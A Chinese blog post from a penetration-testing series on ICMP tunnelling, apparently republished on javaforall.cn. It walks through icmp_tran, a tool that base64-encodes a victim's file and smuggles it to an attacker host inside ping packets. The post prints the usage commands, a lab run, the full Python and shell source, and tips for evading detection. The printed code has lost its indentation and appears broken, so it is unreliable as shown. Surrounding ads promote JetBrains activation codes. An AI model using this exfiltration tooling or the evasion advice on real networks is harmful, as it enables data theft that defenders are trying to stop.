内网穿透 隧道_ping隧道

内网穿透 隧道_ping隧道本文研究ICMP隧道的一个工具,icmp_tran

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

前言

本文研究ICMP隧道的一个工具,icmp_tran

github:github.com/NotSoSecure/icmp_tunnel_ex_filtrate

一、概述

1、简介

最后更新于2015年,用Python编写,将文件base64编码后,通过ICMP包传输

条件:

  • 目标机可以ping出去
  • 目标机管理员权限

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

3、使用

(1)服务端

tucpdump监听并下载文件

sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt

运行sh脚本

./tran.sh

(2)客户端

windows

icmp_tran.exe <file> <attacker-IP>

linux

sudo python icmp_tran.py <file> <attacker-IP>

二、实践

1、场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

目标机可以ping通攻击机
在这里插入图片描述

2、建立隧道

(1)攻击机监听

tucpdump监听并下载文件

sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt

(2)目标机发送

准备一个test.zip文件
在这里插入图片描述
建立隧道发送

sudo python icmp_tran.py test.zip 192.168.10.128

(3)攻击机转换

收到文件
在这里插入图片描述
进行转换
在这里插入图片描述

成功得到zip文件
在这里插入图片描述

3、抓包看看

可以看到都是ICMP包,data里是base64编码
在这里插入图片描述

三、探索

1、源码与分析

(1)icmp_tran.py

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import time
import socket
import struct
import select
import random
import asyncore
import os
import sys
ICMP_ECHO_REQUEST = 8 
TIME_OUT = 1 #时长视情况而定
ICMP_CODE = socket.getprotobyname('icmp')
ERROR_DESCR = { 

1: ' - Note that ICMP messages can only be sent from processes running as root.',
10013: ' - Note that ICMP messages can only be sent by users or processes with administrator rights.'
}
__all__ = ['create_packet', 'send_packet', 'verbose_ping', 'PingQuery', 'multi_ping_query']
def checksum(source_string):
sum = 0
count_to = (len(source_string) / 2) * 2
count = 0
while count < count_to:
this_val = ord(source_string[count + 1])*256+ord(source_string[count])
sum = sum + this_val
sum = sum & 0xffffffff
count = count + 2
if count_to < len(source_string):
sum = sum + ord(source_string[len(source_string) - 1])
sum = sum & 0xffffffff
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
answer = ~sum
answer = answer & 0xffff
answer = answer >> 8 | (answer << 8 & 0xff00)
return answer
def create_packet(id):
"""构建一个echo request packet"""
# header的构造是type (8), code (8), checksum (16), id (16), sequence (16)
header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, 0, id, 1)
data = "$$START$$"+line
my_checksum = checksum(header + data)
header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), id, 1)
return header + data
def send_packet(dest_addr, timeout=TIME_OUT):
# 确认能发送
try:
my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
except socket.error as e:
if e.errno in ERROR_DESCR: # 不是高权限
raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
raise 
try:
host = socket.gethostbyname(dest_addr) # host
except socket.gaierror:
return
# 创建packet
packet_id = int((id(timeout) * random.random()) % 65535)
packet = create_packet(packet_id)
# 发送packet
while packet:
sent = my_socket.sendto(packet, (dest_addr, 1))
packet = packet[sent:]
delay = receive_packet(my_socket, packet_id, time.time(), timeout)
my_socket.close()
return delay
def receive_packet(my_socket, packet_id, time_sent, timeout):
time_left = timeout
while True:
ready = select.select([my_socket], [], [], time_left)
if ready[0] == []: # Timeout
return
time_received = time.time()
rec_packet, addr = my_socket.recvfrom(1024)
icmp_header = rec_packet[20:28]
type, code, checksum, p_id, sequence = struct.unpack('bbHHh', icmp_header)
if p_id == packet_id:
return time_received - time_sent
time_left -= time_received - time_sent
if time_left <= 0:
return
def verbose_ping(dest_addr, timeout=2*TIME_OUT, count=1):
for i in range(count):
print('ping {}...'.format(dest_addr))
delay = send_packet(dest_addr, timeout)
if delay == None:
print('failed. (Timeout within {} seconds.)'.format(timeout))
else:
delay = round(delay * 1000.0, 4)
print('get ping in {} milliseconds.'.format(delay))
print('')
class PingQuery(asyncore.dispatcher):
def __init__(self, host, p_id, timeout=0.5, ignore_errors=False):
asyncore.dispatcher.__init__(self)
try:
self.create_socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
except socket.error as e:
if e.errno in ERROR_DESCR:
raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
raise 
self.time_received = 0
self.time_sent = 0
self.timeout = timeout
self.packet_id = int((id(timeout) / p_id) % 65535)
self.host = host
self.packet = create_packet(self.packet_id)
if ignore_errors:
self.handle_error = self.do_not_handle_errors
self.handle_expt = self.do_not_handle_errors
def writable(self):
return self.time_sent == 0
def handle_write(self):
self.time_sent = time.time()
while self.packet:
sent = self.sendto(self.packet, (self.host, 1))
self.packet = self.packet[sent:]
def readable(self):
if (not self.writable()
and self.timeout < (time.time() - self.time_sent)):
self.close()
return False
return not self.writable()
def handle_read(self):
read_time = time.time()
packet, addr = self.recvfrom(1024)
header = packet[20:28]
type, code, checksum, p_id, sequence = struct.unpack("bbHHh", header)
if p_id == self.packet_id:
self.time_received = read_time
self.close()
def get_result(self):
if self.time_received > 0:
return self.time_received - self.time_sent
def get_host(self):
return self.host
def do_not_handle_errors(self):
pass
def create_socket(self, family, type, proto):
sock = socket.socket(family, type, proto)
sock.setblocking(0)
self.set_socket(sock)
self.family_and_type = family, type
def handle_connect(self):
pass
def handle_accept(self):
pass
def handle_close(self):
self.close()
def multi_ping_query(hosts, timeout=TIME_OUT, step=512, ignore_errors=False):
results, host_list, id = { 
}, [], 0
for host in hosts:
try:
host_list.append(socket.gethostbyname(host))
except socket.gaierror:
results[host] = None
while host_list:
sock_list = []
for ip in host_list[:step]: #step最多是512
id += 1
sock_list.append(PingQuery(ip, id, timeout, ignore_errors))
host_list.remove(ip)
asyncore.loop(timeout)
for sock in sock_list:
results[sock.get_host()] = sock.get_result()
return results
if __name__ == '__main__':
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
print(msg)
file=sys.argv[1]
destination = sys.argv[2]
# os.system("certutil -encode "+ file +" test.txt") # windows
os.system("base64 "+ file +" > test.txt") # linux
f=open("test.txt", "r")
for line in f:	
text1= line[0:32]
verbose_ping(destination)
host_list = [destination]
for host, ping in multi_ping_query(host_list).iteritems():
print(host, '=', ping)

(2)tran.sh

就是base64解码得到文件

#!/bin/bash
strings output.txt >> output1.txt
echo "[+] parsing the output.txt file"
grep -i start output1.txt | uniq >> transmitted.txt
sed -i -e 's/\$\$START\$\$//g' transmitted.txt
echo "[+] cleaning"
rm output1.txt
rm output.txt
echo "[+] tranmistted.txt created"
cat transmitted.txt |base64 -d >>test
echo "[+] file test created"

2、检测与绕过

(1)异常ICMP数据包数量

0.01s内10个包,当然这是没有做相关策略,可以改为和ping一样的间隔,主要是这是传个文件就结束了,所以maybe可以天下武功唯快不破,视情况而定
在这里插入图片描述

(2)异常ICMP包长度

已经做了拆分

(3)payload内容

payload内容这个还是没办法避免的事情

正常ping命令:

windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!#$%&’()+,-./01234567

内容肯定还是与正常ping命令不同
不过send和receive的内容相同

结语

简单试下怎么传文件

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/180522.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • 深度优先遍历和广度优先遍历[通俗易懂]

    深度优先遍历和广度优先遍历[通俗易懂]深度优先遍历和广度优先遍历什么是深度/广度优先遍历?深度优先遍历简称DFS(DepthFirstSearch),广度优先遍历简称BFS(BreadthFirstSearch),它们是遍历图当中所有顶点的两种方式。这两种遍历方式有什么不同呢?我们来举个栗子:我们来到一个游乐场,游乐场里有11个景点。我们从景点0开始,要玩遍游乐场的所有景点,可以有什么…

  • apache 负载均衡 超时设置_apache负载均衡配置

    apache 负载均衡 超时设置_apache负载均衡配置最近因为新疆移动项目的要求,必须要用负载均衡来实现HTTP请求,没办法,我这个人一般是有压力的环境下才会好好学习,所以只有老实的自己来边学边写了。   其实,我们在平时经常听说集群这个名词,但是真正知道的又有几个呢,恩,好了,不讲废话了,我就先给大家扫盲吧,当然,我讲的不一定是对的,我就把我自己知道的讲出来,集群目前分3类吧,科学集群、高可用性集群、负载均衡集群。    科学集群(ScientificClustering,简称SC):使用特殊的软硬件技术将大量的计算能力有限的机器连接成计算能力巨大

  • java websocket框架_websocket监听数据库

    java websocket框架_websocket监听数据库HandlerSocket简介HandlerSocket是针对Mysql的一个NoSQL插件,它作为一个守护进程工作在mysqld进程里面,接收tcp连接,并处理来自客户端的请求。HandlerSocket不支持SQL查询,作为替代,它支持表的简单的CRUD操作。由于下面的原因,在某些情况下HandlerSocket比mysqld/libmysql对儿更快速:-HandlerSocket处理数据…

  • Cyanlotus警告:新型文本垃圾邮件爆发

    Cyanlotus警告:新型文本垃圾邮件爆发

  • ubuntu20.04内核降级_ubuntu20更新内核

    ubuntu20.04内核降级_ubuntu20更新内核Ubuntu20.04如何降低内核版本?如题,在不小心安装新内核之后,发现没办法降级(网上的各种方法最后结合信息摸索出了解决方案:首先,查看自己的grub版本:grub-install–version记住(GRUB)之后的大版本是2.00以后还是2.00以前查看自己现有的内核版本(完全版)grep’menuentry’/boot/grub/grub.cfg找到自己想换回的内核例如,这里我想要更换为5.8.0-50,就找到对应的选项,有menuentry’U

  • 各位学弟学妹,别再看教材了,时间复杂度看这篇就好了[通俗易懂]

    各位学弟学妹,别再看教材了,时间复杂度看这篇就好了[通俗易懂]时间复杂度是学习算法的基石,今天我们来聊聊为什么要引入时间复杂度,什么是时间复杂度以及如何去算一个算法的时间复杂度一、刻画算法的运行时间某日,慧能叫来了一尘打算给他补习补习一下基础知识,只见克写了一段非常简单的代码一尘看老师有点生气,开始虚心请教了为了方便讨论,这里我们把每一条语句的执行时间都看做是一样的,记为一个时间单元①蓝色框的两条语句,花费两个时间单元②黑色框的一条语句,花费n+1个时间单元③红色框的两条语句,花费2*n个时间单元这不是.

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号